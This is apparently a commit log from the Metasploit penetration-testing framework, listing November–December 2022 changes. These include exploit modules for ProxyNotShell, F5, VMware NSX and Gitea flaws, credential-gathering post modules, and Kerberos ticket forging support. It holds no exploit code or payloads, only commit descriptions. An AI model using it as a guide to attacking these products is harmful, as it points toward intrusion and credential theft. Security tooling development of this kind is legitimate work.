Grant Willcox e7b20ad155 Add in monkey patch to the search method of Net::LDAP::Connection to allow us to use controls when search whilst we await an upstream patch in Net::LDAP 2022-12-07 15:17:52 -06:00
Jeffrey Martin 115946cd06 Land #17339, Weekly dependency updates for Gemfile.lock 2022-12-07 15:13:39 -06:00
Grant Willcox 77bda68932 Add in more constants for the SCAL flags and use them to make the code easier to read 2022-12-07 10:48:07 -06:00
npm-cesium137-io 2f3fd6c917 Revise solarwinds_orion_dump
Made modifications to documentation to add further detail for each
action.

Significant refactor of error handling, now with (hopefully) proper use
of exceptions.

Various suggested code improvements and optimization.

Fixed some redundant and buggy code.
2022-12-07 07:55:43 -05:00
Grant Willcox e7d72e0ecf Allow multiple controls to be specified 2022-12-06 23:21:48 -06:00
Grant Willcox fd8bdf4daf Make sure we use the LDAP_SERVER_SD_FLAGS_OID flag and set it to 7 when retrieving entries so that we don't retrieve the SACL, which cannot be retrieved by nonadmin users. 2022-12-06 22:54:03 -06:00
cn-kali-team c81029a165 fix 2022-12-07 12:32:41 +08:00
cn-kali-team 7720119948 fix 2022-12-07 12:32:14 +08:00
三米前有蕉皮 bb3e5df6f5 Update modules/post/windows/gather/credentials/minio_client.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-12-07 09:23:50 +08:00
三米前有蕉皮 9c94ce09da Update modules/post/windows/gather/credentials/minio_client.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-12-07 09:20:38 +08:00
space-r7 9c7355388c add attackerkb link 2022-12-06 11:19:05 -06:00
Tod Beardsley 97a9fb6650 Update docs for Acronis module
Note that uninstalling the module doesn't necessarily uninstall the vulnerable service, so call that out to people who are testing this module so they have a chance to do more thorough cleanup after testing.
2022-12-06 11:08:31 -06:00
Heyder Andrade cf6d5d3a14 It made the gadgets being used more readable 2022-12-06 17:47:49 +01:00
Metasploit 8fbb4d2fde automatic module_metadata_base.json update 2022-12-06 09:03:45 -06:00
Christophe De La Fuente e7e2849f6d Land #17183, Zimbra fixes 2022-12-06 15:38:37 +01:00
Christophe De La Fuente ddaf5a3f0d Remove unecessary return statement 2022-12-06 15:07:28 +01:00
Metasploit ef31ab861f automatic module_metadata_base.json update 2022-12-06 07:27:30 -06:00
Christophe De La Fuente aaef7726db Land #17330, Fix enumerating emails via ProxyShell 2022-12-06 14:02:53 +01:00
Dean Welch d239e9b007 Don't autoload krb5Pac 2022-12-06 13:01:47 +00:00
Dean Welch 1e2ada3cce Add options validation depending on action in forge_ticket.rb 2022-12-06 12:55:42 +00:00
cn-kali-team 9b55f32474 MinIO_Client 2022-12-06 20:04:10 +08:00
Metasploit 009fd0deb5 automatic module_metadata_base.json update 2022-12-05 15:30:44 -06:00
Grant Willcox d48319a867 Land #17242, Add Gather Module for WP BookingPress Plugin unauth SQLi (CVE-2022-0739) 2022-12-05 15:04:31 -06:00
Grant Willcox 89009fa66e Bump dependency versions 2022-12-05 14:48:02 -06:00
Grant Willcox cb68c255bb Fix up issues from review 2022-12-05 14:17:43 -06:00
Redouane NIBOUCHA 4b008d6ea8 revert the identify_hash line 2022-12-05 14:17:39 -06:00
Redouane NIBOUCHA 41edc92d5d Update wp_bookingpress_category_services_sqli to use the SQLi library 2022-12-05 14:17:31 -06:00
Grant Willcox 1fec75621c Fix up documentation from review 2022-12-05 14:04:22 -06:00
Jack Heysel f29b4fad75 Add Gather Module for WP BookingPress Plugin SQLi (CVE-2022-0739) 2022-12-05 14:04:03 -06:00
Metasploit e08b426537 automatic module_metadata_base.json update 2022-12-05 13:19:21 -06:00
bwatters 37540572e0 Land #17214, add database functionality to vcenter post module
Merge branch 'land-17214' into upstream-master
2022-12-05 12:50:14 -06:00
Metasploit 2e4be42f57 automatic module_metadata_base.json update 2022-12-05 09:55:47 -06:00
bwatters 54cd055276 Land #17286, CVE-2021-22015 vCenter priv esc
Merge branch 'land-17286' into upstream-master
2022-12-05 09:31:01 -06:00
Metasploit 085456eeaf automatic module_metadata_base.json update 2022-12-05 08:07:19 -06:00
Dean Welch 405271a52f Add pac BinData Model 2022-12-05 14:03:21 +00:00
Christophe De La Fuente 6e7d4edf02 Land #16990, Syncovery for Linux - Login brute-force utility 2022-12-05 14:39:29 +01:00
h00die 373a97b099 add shaphound to license, sort license by file names 2022-12-05 08:33:27 -05:00
cgranleese-r7 8e9e8468f2 Land #17338, Lint modules 2022-12-05 13:17:40 +00:00
adfoster-r7 7a46cff0a1 Land #17305, Adds support to RPC for automatically choosing module payload defaults 2022-12-05 12:59:21 +00:00
Metasploit dc604f1fcf automatic module_metadata_base.json update 2022-12-05 06:31:39 -06:00
cgranleese-r7 4e539df3c3 Adds support to find default payloads 2022-12-05 11:52:11 +00:00
adfoster-r7 0d3c1dc122 Land #17333, Fix typos: Replace 'the the' with 'the' 2022-12-05 11:46:27 +00:00
adfoster-r7 a4aff6537d Land #17332, enum_proxy - Cleanup and support non-Meterpreter sessions 2022-12-05 11:43:55 +00:00
adfoster-r7 14d05c9c6c Lint modules 2022-12-05 10:41:31 +00:00
cn-kali-team 907612b41d Dbeaver 2022-12-05 14:54:19 +08:00
Heyder Andrade 8aca86b816 Apply suggestions from code review 2022-12-04 17:29:05 +01:00
Heyder Andrade 5c3ac339d0 Apply suggestions from code review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-12-04 12:13:50 +01:00
bcoles c1ff9337c8 dnn_cookie_deserialization_rce: Remove empty 'Payload' Hash key 2022-12-04 17:50:24 +11:00
bcoles 431804ef15 Fix typos: Replace 'the the' with 'the' 2022-12-04 17:41:24 +11:00
bcoles d90dee8235 enum_proxy: Cleanup and support non-Meterpreter sessions 2022-12-04 15:10:47 +11:00
Spencer McIntyre 96da805014 Fix enumerating emails via ProxyShell
The ResolveNames endpoint used to gather emails addresses for targeting
only returns 100 at a time. This updates the module to check if the
search result contains all entries and when it does, it recurses into
itself with a refined search prefix. All results are returned to match
the original functionality instead of enumerating and halting once one
that's suitable for exploitation has been found.
2022-12-02 15:58:50 -05:00
whoot 04e5aa3033 apply suggestions 2022-12-02 16:05:01 +01:00
Christophe De La Fuente c6f8bae1ab Fix from code review and updates the KrbUseCachedCredentials logic 2022-12-02 15:28:08 +01:00
whoot b32ec581d8 apply suggestions 2022-12-02 10:33:25 +01:00
Metasploit 364fb85e1d automatic module_metadata_base.json update 2022-12-01 16:30:42 -06:00
Jack Heysel 271588bde9 Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master 2022-12-01 17:06:48 -05:00
Jack Heysel 04dc8e8455 Land #17310, update checkvm post module
Add notes and add powershell to supported SessionTypes
2022-12-01 17:05:09 -05:00
Metasploit a649c5b9d1 automatic module_metadata_base.json update 2022-12-01 15:54:53 -06:00
h00die 7ec7cdfb97 fix vcenter spec error 2022-12-01 16:43:58 -05:00
adfoster-r7 4207449382 Land #17323, fix enlightenment check method 2022-12-01 20:26:16 +00:00
Christophe De La Fuente 69e08094cd Update documentation 2022-12-01 21:23:25 +01:00
h00die 867059efe5 add super to cleanup command 2022-12-01 14:55:43 -05:00
Christophe De La Fuente cc61a26668 Add S4U2Self and S4U2Proxy support to impersonate a user 2022-12-01 20:42:13 +01:00
h00die 62b484fdc7 blank over empty 2022-12-01 14:34:09 -05:00
Metasploit fbc842693f Bump version of framework to 6.2.30 2022-12-01 12:10:26 -06:00
Metasploit 03bb062c2e automatic module_metadata_base.json update 2022-12-01 09:50:22 -06:00
bwatters dcff4d37b6 Land #17163, Pfsense PfBlockerNG RCE module check method improvement
Merge branch 'land-17163' into upstream-master
2022-12-01 09:25:18 -06:00
Metasploit b9c18de4fe automatic module_metadata_base.json update 2022-11-30 16:55:15 -06:00
adfoster-r7 13ab155545 Land #17322, fix OpoenOffice description typo 2022-11-30 22:31:53 +00:00
h00die 039b611fae fix enlightenment check method 2022-11-30 17:06:50 -05:00
Maik Ro 330cb2944b fix typo
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) -> OpoenOffice changed to OpenOffice
2022-11-30 22:10:18 +01:00
Metasploit 07a91df7a1 automatic module_metadata_base.json update 2022-11-30 11:43:21 -06:00
Christophe De La Fuente d3057f15b2 Land #17275, Add Exploit For CVE-2022-41082 (ProxyNotShell) 2022-11-30 18:16:19 +01:00
Spencer McIntyre d491c10d22 Store service credentials in the database 2022-11-30 11:59:10 -05:00
Ashley Donaldson 2d397d37db Removed warning that I think was actually just a bug - now fixed 2022-11-30 13:14:19 +11:00
Ashley Donaldson 0323d45737 More correct approach to encoding for command line 2022-11-30 11:54:42 +11:00
Ashley Donaldson 5fce80ed1d Added comments to most functions 2022-11-30 11:53:57 +11:00
Ashley Donaldson 3a93fcb404 Rubocop'd 2022-11-30 11:32:23 +11:00
Ashley Donaldson 97aef31180 Removed vestigial code while we're at it 2022-11-30 11:31:27 +11:00
Ashley Donaldson 1231eefe55 Fixed WQL module while I'm at it 2022-11-30 10:26:19 +11:00
Ashley Donaldson 0d68ec5d1b Fix formatting of winrm_script_exec 2022-11-30 07:48:30 +11:00
Ashley Donaldson 6a040e2ee5 #11456 Winrm Script Exec works again 2022-11-30 07:39:38 +11:00
Spencer McIntyre 013679d475 Land #17311, Add Kerberos pkinit error codes 2022-11-29 13:19:03 -05:00
Spencer McIntyre 2daf11d521 Land #17309, Fix Kerberos get ticket module
Fix crash in kerberos get ticket module
2022-11-29 13:17:16 -05:00
Heyder Andrade 704cee436b Apply suggestions from code review 2022-11-29 15:25:14 +01:00
Heyder Andrade c1236500f1 Apply suggestions from code review
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-29 14:12:39 +01:00
adfoster-r7 750192afa4 Add pkinit error codes 2022-11-29 10:36:10 +00:00
bcoles 60180a4442 checkvm: Add notes and add powershell to supported SessionTypes 2022-11-29 21:28:15 +11:00
adfoster-r7 34d1b5b37e Fix crash in kerberos get ticket module 2022-11-29 10:17:21 +00:00
Metasploit 35bbfc8af4 automatic module_metadata_base.json update 2022-11-28 15:47:01 -06:00
Spencer McIntyre 8ea8e2410d Land #17299, Fixes #17227
Fixes #17227 - polkit_dbus_auth_bypass module when run from a command…
2022-11-28 16:22:52 -05:00
Metasploit 8a66a359a6 automatic module_metadata_base.json update 2022-11-28 15:16:21 -06:00
adfoster-r7 a12090c566 Land #17308, Fix the DH key construction for OpenSSL3 2022-11-28 21:03:52 +00:00
Jack Heysel 5d3cfa69b8 Land #17210, add ParseError rescue to snmp modules
snmp_enum, snmp_enumshares and snmp_enumusers now rescue
SNMP ParseErrors
2022-11-28 15:37:02 -05:00
bwatters 3462dc6bf4 Land #17087, remote control collection rce
Merge branch 'land-17087' into upstream-master
2022-11-28 14:29:52 -06:00
Spencer McIntyre cd828a82c8 Fix the DH key construction for OpenSSL3 2022-11-28 14:54:10 -05:00
Spencer McIntyre abe0549db6 Land #17226, Module to request TGT/TGS tickets
Module to request TGT/TGS Kerberos tickets from the KDC
2022-11-28 11:59:17 -05:00
Spencer McIntyre 264d45e04a Appease rubocop 2022-11-28 10:16:55 -05:00
Spencer McIntyre f24df8a051 Change an exception class and drop DOMAIN passing 2022-11-28 10:06:14 -05:00
Spencer McIntyre 009c6c5350 Add the MaxBackendRetries datastore option 2022-11-28 09:45:04 -05:00
Heyder Andrade ff63f0aa32 Added reference 2022-11-28 14:11:07 +01:00
Metasploit c49dd0b6cd automatic module_metadata_base.json update 2022-11-27 14:27:39 -06:00
adfoster-r7 de75f0ecbe Land #17304, added target uri in to "Authorization not requested" error message 2022-11-27 20:04:00 +00:00
omer citak 9aa1a84b3a added target uri in to "Authorization not requested" error message 2022-11-27 15:35:34 +03:00
Ashley Donaldson 638a1c8f78 Prevent double-delimiter situations in general 2022-11-25 15:32:55 +11:00
Ashley Donaldson 25a0d0ff0e Fixes #17227 - polkit_dbus_auth_bypass module when run from a command shell 2022-11-25 15:13:57 +11:00
adfoster-r7 c218063a1a Land #17280, Weekly dependency updates for Gemfile.lock 2022-11-24 23:11:49 +00:00
ErikWynter 78dfaa12ef add opentsdb_yrange_cmd_injection module and docs 2022-11-24 21:37:24 +02:00
Metasploit ed954eec0c Bump version of framework to 6.2.29 2022-11-24 12:09:06 -06:00
adfoster-r7 0aa0884e26 Land #17296, add warning about external links 2022-11-24 10:30:44 +00:00
Metasploit c9ba07e3a7 automatic module_metadata_base.json update 2022-11-23 17:20:29 -06:00
Spencer McIntyre 6350daf2d8 Land #17273, F5 exploit module CVE-2022-41800
F5 exploit module CVE-2022-41800 (authenticated RCE in RPM code)
2022-11-23 17:57:18 -05:00
Ron Bowes b7cf112d42 Fix an issue where the session handler would close too early on Zimbra modules 2022-11-23 13:09:47 -08:00
Ron Bowes ffbf8b303a Change a 'return 0' to 'fail_with', per Christophe's request 2022-11-23 12:51:51 -08:00
Ron Bowes 28a68ede8c Merge branch 'master' into zimbra-fixes 2022-11-23 12:50:56 -08:00
Ron Bowes e981dde15f Move the mcp-objects out of the class and into a data/ file (per Jeffrey's request) 2022-11-23 12:49:00 -08:00
Spencer McIntyre 3805a79079 Add support for Exchange Data Access Group (DAG)
This updates the HttpSsrf class to retry requests to the Powershell
backend when they fail because they were routed to a new server. Now
when the transport is initialized, it will store the backend used by the
first successful request.
2022-11-23 15:37:58 -05:00
Jeffrey Martin 453cfc5939 spelling change per review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-11-23 13:26:19 -06:00
Ron Bowes aa3d8be77c Remove Targets 2022-11-23 11:11:35 -08:00
Ron Bowes 4fd22226fe Combine into one module with options to turn features on/off 2022-11-23 11:10:34 -08:00
Ron Bowes cbb50ed902 Remove non-functioning Arch'es 2022-11-23 10:42:07 -08:00
Jeffrey Martin cb8e023734 add warning about external links
Links to external resources not controlled by the project maintainers
are subject to bitrot and malicious take over. Warnings seem appropriate.
2022-11-23 12:08:05 -06:00
Spencer McIntyre 3f58bfe11e Check that the target is Exchange Server 2019 2022-11-23 10:47:10 -05:00
Spencer McIntyre 45391b1714 Land #17279, ducky-script format for msfvenom
ducky-script format for msfvenom (flipper zero compatible)
2022-11-23 09:05:57 -05:00
Jiashuo Liang d32df1d3dc Fix linux reverse_tcp_x64 rdx register value 2022-11-23 19:36:37 +08:00
Heyder Andrade 27f8f4fc47 Cleanup 2022-11-23 01:55:06 +01:00
Heyder Andrade 7880530989 The check method should report when finding a vulnerable product.
I think all exploit modules should "report" in the check method when finding a vulnerable
product. By doing that we can take advantage of all check methods in the exploit module
and use them as a "scanner". That would give the chance for the user to check multiple
simultaneously targets and save the result for further actions.
2022-11-23 01:29:38 +01:00
Heyder Andrade 0e5f8d49f9 Code cleanup and payload generation improvements 2022-11-23 00:29:10 +01:00
Heyder Andrade 13a3d9d1ca Added documentation 2022-11-23 00:19:25 +01:00
h00die b866917ee1 review 2022-11-22 16:57:01 -05:00
Spencer McIntyre 2265370c5f Land #17288, Add #bit_names to MsDtypAccessMask
Support for Windows Access mask to MsDtypAccessMask
2022-11-22 09:01:16 -05:00
Metasploit 0af1f95f5a automatic module_metadata_base.json update 2022-11-22 06:52:15 -06:00
adfoster-r7 6446c1425b Land #17283, enum_psk: Cleanup 2022-11-22 12:28:55 +00:00
adfoster-r7 6c76fd7beb Land #17284, modules/post/linux/gather: Use Post::Linux::System.get_hostname method 2022-11-22 11:55:47 +00:00
adfoster-r7 390e58958c Land #17285, tor_hiddenservices - check locate command exists
: Check locate command exists
2022-11-22 11:42:50 +00:00
Heyder Andrade 7983c14166 Removed a bunch of hard-coded stuff and cleaned out fake smart server 2022-11-22 12:07:55 +01:00
JustAnda7 28157b677b Support for Access Mask in MsDtypAccess 2022-11-22 04:50:54 -05:00
h00die 637ad5f809 make ducky more psh friendly 2022-11-21 17:55:48 -05:00
h00die 7227bec259 set autocheck false 2022-11-21 15:53:37 -05:00
bwatters 8c9e2c9fc7 Add check method, update hosting IP/port 2022-11-21 15:53:37 -05:00
h00die d141efcbfe screen effects 2022-11-21 15:53:37 -05:00
h00die 181b8e4eea review comments 2022-11-21 15:53:37 -05:00
h00die d4536b24a6 remote control collection rce 2022-11-21 15:53:37 -05:00
Spencer McIntyre de8a396b3a Land #17277, Fix python reverse http stager crash 2022-11-21 12:41:25 -05:00
Spencer McIntyre ed99f2f67f Bypass EEMS M1 2022-11-21 11:13:16 -05:00
h00die 6877304bac exploit for cve-2021-22015 vcenter priv esc 2022-11-20 11:29:49 -05:00
bcoles 651dd68439 tor_hiddenservices: Check locate command exists 2022-11-21 01:07:50 +11:00
bcoles 2dbd2043ec modules/post/linux/gather: Use Post::Linux::System.get_hostname method 2022-11-21 00:46:44 +11:00
bcoles ad36f28ec1 enum_psk: Cleanup 2022-11-21 00:28:34 +11:00
Heyder Andrade 3d73f574d4 Impreve error handling 2022-11-20 12:10:04 +01:00
Heyder Andrade a05cbdbc30 Impreve error handling 2022-11-20 12:09:05 +01:00
h00die 5e93ed3bae explicit check of CVE-2022-22948 2022-11-19 10:37:36 -05:00
h00die 40f97995f8 review comment 2022-11-19 10:37:36 -05:00
h00die f12c660652 review comments 2022-11-19 10:37:36 -05:00
h00die 7a795c5adb docs 2022-11-19 10:37:36 -05:00
h00die 9a19c4411d wrap up module additions 2022-11-19 10:37:36 -05:00
h00die dff9b35d56 add database stuff to vcenter post module 2022-11-19 10:37:36 -05:00
Heyder Andrade c9eaa9af37 Added module for #CVE-2022-2992 2022-11-19 15:21:31 +01:00
Heyder Andrade 34d191b06c Added Ruby serialized payload generator 2022-11-19 15:20:49 +01:00
Heyder Andrade f1b97de78d Added Gitlab mixin 2022-11-19 15:19:29 +01:00
Metasploit 234949bff8 automatic module_metadata_base.json update 2022-11-18 19:52:50 -06:00
Grant Willcox 8ca7550062 Land #17257, Adding exploit for ChurchInfo 1.2.13-1.3.0 RCE (CVE-2021-43258) 2022-11-18 19:27:10 -06:00
Grant Willcox 237eb904d4 Add in fixes for documentation examples and then update the code to fix some bugs 2022-11-18 18:30:07 -06:00
Grant Willcox 713323f2cb Add in Docker setup documentation 2022-11-18 18:22:11 -06:00
Grant Willcox 85a6770973 Add additional checks, a check method, and fix up some doc errors 2022-11-18 18:22:06 -06:00
m4lwhere b9ecdb3bc2 Use TARGETURI, registered cleanup, implment cookie_jar, and perform response checks and documentation 2022-11-18 18:21:27 -06:00
m4lwhere a33a313544 Adding exploit for ChurchInfo 1.3.0 2022-11-18 18:21:08 -06:00
Metasploit 2f2708e3fd automatic module_metadata_base.json update 2022-11-18 16:42:50 -06:00
Spencer McIntyre bc89721d7a Add module docs, fix ProxyShell versions 2022-11-18 17:42:27 -05:00
Jeffrey Martin f6bdbbd359 Weekly dependency updates for Gemfile.lock 2022-11-18 16:24:55 -06:00
space-r7 3d5708e3e6 Land #17271, add f5 big-ip csrf exploit 2022-11-18 16:19:09 -06:00
space-r7 8b30ff3dce remove CmdStager inclusion 2022-11-18 16:18:25 -06:00
h00die 29b7fa5336 ducky_script format for msfvenom 2022-11-18 17:02:52 -05:00
Spencer McIntyre 29d57dde66 Consolidate into ProxyMaybeShell 2022-11-18 17:01:01 -05:00
Spencer McIntyre fc7594dbc8 Add exploit for CVE-2022-41082 AKA ProxyNotShell 2022-11-18 17:00:27 -05:00
Metasploit e43951158c automatic module_metadata_base.json update 2022-11-18 10:40:12 -06:00
bwatters 20e1788d97 Land #17145, Add hashes option and better error handling to wmiexec
Merge branch 'land-17145' into upstream-master
2022-11-18 10:16:33 -06:00
npm-cesium137-io 6f885ba700 Add solarwinds_orion_dump post module
Post module for extracting encrypted credentials from SolarWinds Orion
NPM. Tested on the 2020 version.
2022-11-18 10:40:10 -05:00
adfoster-r7 7dcf65d7c3 Fix python reverse http stager crash 2022-11-18 14:32:36 +00:00
Christophe De La Fuente 0c05e82868 Land #17240, Update icpr_cert for requesting certs on behalf of users 2022-11-18 11:58:56 +01:00
Christophe De La Fuente 5280580c08 Fixes from code review 2022-11-18 11:02:32 +01:00
space-r7 162b0daf3b add new options and usage of pre-compiled exploit
also updates documentation with new option
descriptions
2022-11-17 17:20:41 -06:00
space-r7 d8f2b50b07 add compiled exploit and source 2022-11-17 17:16:08 -06:00
h00die 496a6f74ff remove verbiage of list 2022-11-17 16:49:11 -05:00
Metasploit 39da40e4b5 Bump version of framework to 6.2.28 2022-11-17 12:21:32 -06:00
space-r7 ea486169b4 use erb template for objective-c code 2022-11-17 11:55:19 -06:00
Spencer McIntyre 41f9ba57b4 Add icpr_cert module specs 2022-11-17 12:12:35 -05:00
Spencer McIntyre b2f6f0c792 Update the module docs for ESC2 and ESC3 2022-11-17 12:12:35 -05:00
Spencer McIntyre f4a65a220a Support ON_BEHALF_OF in icpr_cert
Add the code necessary to request certificates on behalf of other users.
This is necessary to exploit templates vulnerable to ESC2 and ESC3.
2022-11-17 12:12:35 -05:00
Spencer McIntyre 054878242a Update ruby_smb gem to 3.2.1 2022-11-17 12:12:35 -05:00
Shelby Pace f8dff82a78 Update modules/exploits/osx/local/acronis_trueimage_xpc_privesc.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-11-17 10:29:49 -06:00
Metasploit 29a4546b07 automatic module_metadata_base.json update 2022-11-17 05:52:06 -06:00
Christophe De La Fuente d1a7170020 Land #17021, Gitea Git fetch RCE module - CVE-2022-30781 2022-11-17 12:28:29 +01:00
Christophe De La Fuente 11541a5774 Add comment for details about the string substitutions on Windows 2022-11-17 12:25:52 +01:00
Ron Bowes 93cba95170 Add URLs 2022-11-16 12:23:47 -08:00
Ron Bowes 6a8b94ee42 Merge branch 'f5-post-modules' into f5-createuser-privesc 2022-11-16 12:23:02 -08:00
Ron Bowes c01c4c3cdd Add URLs 2022-11-16 12:22:17 -08:00
Ron Bowes 7ebf84c66b Add URLs 2022-11-16 12:20:37 -08:00
Ron Bowes 20e6c1b55e Add URLs 2022-11-16 12:19:16 -08:00
Ron Bowes fc579fe3f4 Add a privesc module for F5, using the MCP protocol 2022-11-16 12:12:16 -08:00
Ron Bowes 944fd07502 Add three post-modules and a mixin for communicating with F5's MCP 2022-11-16 12:09:58 -08:00
Ron Bowes d0e109b842 Check in exploit module for CVE-2022-41800 2022-11-16 12:04:18 -08:00
Ron Bowes 99e661cfcf Check in exploit script for CVE-2022-41622 (CSRF into SOAP) 2022-11-16 11:58:15 -08:00
Jeffrey Martin 271a2bb6f2 Land #17264, Go 1.11.2 to 1.19.3 in Dockerfile 2022-11-16 12:26:13 -06:00
space-r7 486e469682 add new reference 2022-11-16 10:32:08 -06:00
Spencer McIntyre b4f285d9b2 Land #17243, Improve railgun tlv packet logging
Improve tlv packet logging for railgun
2022-11-16 09:26:07 -05:00
space-r7 27d4f45e09 add documentation and exploit file 2022-11-15 12:55:00 -06:00
space-r7 383e121f20 add FileDropper usage and module description 2022-11-15 12:37:39 -06:00
Grant Willcox 15dc37a663 Bump Go version from 1.11.2 to 1.19.3 2022-11-15 10:28:51 -06:00
Grant Willcox 1205356a27 Land #17263, Update metasploit-payloads gem to 2.0.101 2022-11-15 10:03:55 -06:00
krastanoel 1ddc137f1a Update module
- adjust execute_command method and add logic for :win_dropper target
- move cmdstager uripath setting into target case statement
- add more cmdstagerflavour for :linux_dropper target
- fix lint msftidy
2022-11-15 22:30:45 +07:00
krastanoel cbca2a5604 Update modules/exploits/multi/http/gitea_git_fetch_rce.rb
apply suggestion

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-15 22:17:59 +07:00
Spencer McIntyre 836109c02b Update metasploit-payloads gem to 2.0.101
Includes changes from:
  * rapid7/metasploit-payloads#592
  * rapid7/metasploit-payloads#595
2022-11-15 09:52:06 -05:00
Jeffrey Martin fa125e1943 Land #17261, Fix Port Forwarding For Ruby 3 2022-11-15 08:27:00 -06:00
Spencer McIntyre 2459371a47 Print the portfwd relay more descriptively
Closes #17158

This updates the output of the portfwd command to show if it's a forward
(normal) portforward or if it's a reverse port forward where the
compromised host is the one listening.
2022-11-15 08:50:23 -05:00
Metasploit 51310bcec7 automatic module_metadata_base.json update 2022-11-15 07:38:18 -06:00
Christophe De La Fuente 494c9601ca Land #17222, Pre-authenticated Remote Code Execution in VMware NSX Manager using XStream [CVE-2021-39144] 2022-11-15 14:16:14 +01:00
space-r7 e0c693c5a8 add objective-c code and pid code 2022-11-14 17:57:39 -06:00
Spencer McIntyre 218e8c2d0c Fix a Ruby 3 syntax issue
Closes #17124

This fixes a Ruby 3 syntax issue in how the parameters are passed. The
issue caused TcpServerChannels to fail to enqueue new client
connections.
2022-11-14 17:01:51 -05:00
Metasploit 6de67cceef automatic module_metadata_base.json update 2022-11-14 15:01:56 -06:00
Grant Willcox 446e19d15b Land #17260, Use the access mask data type 2022-11-14 14:39:29 -06:00
Spencer McIntyre eff9a16e00 Use the access mask data type
Also switch from bit16 to uint16 so it's little endian.
2022-11-14 12:27:38 -05:00
Grant Willcox 068bb59eb8 Land #17253, update wordpress plugins and themes lists 2022-11-14 09:51:17 -06:00
h00die f6eba6a836 updated bloodhound module 2022-11-13 14:29:28 -05:00
h00die 7abbdbe567 bloodhound module working with exe with sharphound v4 2022-11-13 10:26:15 -05:00
Metasploit af5fe41fa9 automatic module_metadata_base.json update 2022-11-12 17:47:54 -06:00
adfoster-r7 584e120793 Land #17256, minor grammar fix 2022-11-12 23:26:45 +00:00
h00die 59535b6799 remove 'is' 2022-11-12 16:19:50 -05:00
h00die-gr3y 70669f3fea addressed code improvement suggestions 2022-11-12 10:21:43 +00:00
H00die.Gr3y 72080910e7 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-11-12 09:22:06 +01:00
H00die.Gr3y 85b4512292 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-11-12 09:21:55 +01:00
H00die.Gr3y 5d314e5799 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-11-12 09:21:42 +01:00
H00die.Gr3y 04d6a310af Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-11-12 09:16:46 +01:00
H00die.Gr3y 1ce8695401 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-12 09:16:30 +01:00
H00die.Gr3y e38138d69e Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-12 09:16:17 +01:00
H00die.Gr3y 967388eba7 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Agreed !

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-12 09:15:42 +01:00
space-r7 8e59cac3a8 add check and exploit methods 2022-11-11 17:56:13 -06:00
h00die 4c958546b5 update wordpress plugins and themes lists 2022-11-11 10:37:26 -05:00
adfoster-r7 54cb34ac03 Land #17252, Adds error handling for users who do not have git available on their environment 2022-11-11 14:15:16 +00:00
cgranleese-r7 ef28a963bf Adds error handling for users who do not have git available on their machine 2022-11-11 13:33:39 +00:00
Metasploit bcf8c96128 Bump version of framework to 6.2.27 2022-11-10 12:17:58 -06:00
Grant Willcox 02e35a1754 Land #17244, Fix an error when a hostname fails to resolve 2022-11-10 11:07:58 -06:00
Spencer McIntyre 7fa29c4345 Don't bother with the address type
The address is returned in the packed format so it's always a string of
either length 0 (resolution failed), length 4 (IPv4) or length 16
(IPv6).

Anything else is invalid and will actually cause Rex::Socket.addr_ntoa
to throw an error. All meterpreters today return the IP address in one
of those three correct lengths.
2022-11-10 11:13:30 -05:00
Grant Willcox e2a463e26d Land #17177, fix: Handle search terms ending in colons. 2022-11-09 13:32:00 -06:00
Grant Willcox 0be10c5a33 Update code to use .blank? to simplify logic, and to also strip multiple trailing :'s. Update specs accordingly. 2022-11-09 13:00:34 -06:00
adfoster-r7 8efc6c5304 Land #17103, Consolidate KdcOptionFlags and TicketFlags 2022-11-09 17:27:17 +00:00
Dean Welch 7c2134d941 Consolidate KdcOptionFlags and TicketFlags 2022-11-09 17:08:26 +00:00
adfoster-r7 65f6aaca82 Land #17077, Add support for AES keys for silver/golden ticket forging 2022-11-09 16:51:11 +00:00
nzdjb 78afc01903 Add spec tests. 2022-11-09 09:58:23 -06:00
nzdjb f7b37a533f fix: Handle search terms ending in colons. 2022-11-09 09:58:22 -06:00
Spencer McIntyre 83b3bfa19c Fix an error when a hostname fails to resolve 2022-11-09 08:49:19 -05:00
Dean Welch 23ff829e52 Add support for AES keys for silver/golden ticket forging 2022-11-09 13:01:13 +00:00
Metasploit 5892093601 automatic module_metadata_base.json update 2022-11-09 05:47:52 -06:00
adfoster-r7 db3d8f1bbc Improve tlv packet logging for railgun 2022-11-09 11:31:27 +00:00
adfoster-r7 3599221002 Land #17229, add post/multi/recon/reverse_lookup module 2022-11-09 11:28:45 +00:00
krastanoel 645a1c25a3 Update method documentation and indentation 2022-11-09 16:27:31 +07:00
krastanoel 639afebe1e Update module
- handle cleanup method on manual `check`
- adjust targets flavour option
- add :win_dropper target and handle the payload delivery
NOTE: the Windows dropper target is still unsuccessfull but keep this for further review
2022-11-09 16:12:20 +07:00
krastanoel 13bb31feeb Update module
- move repository migration to execute_command.
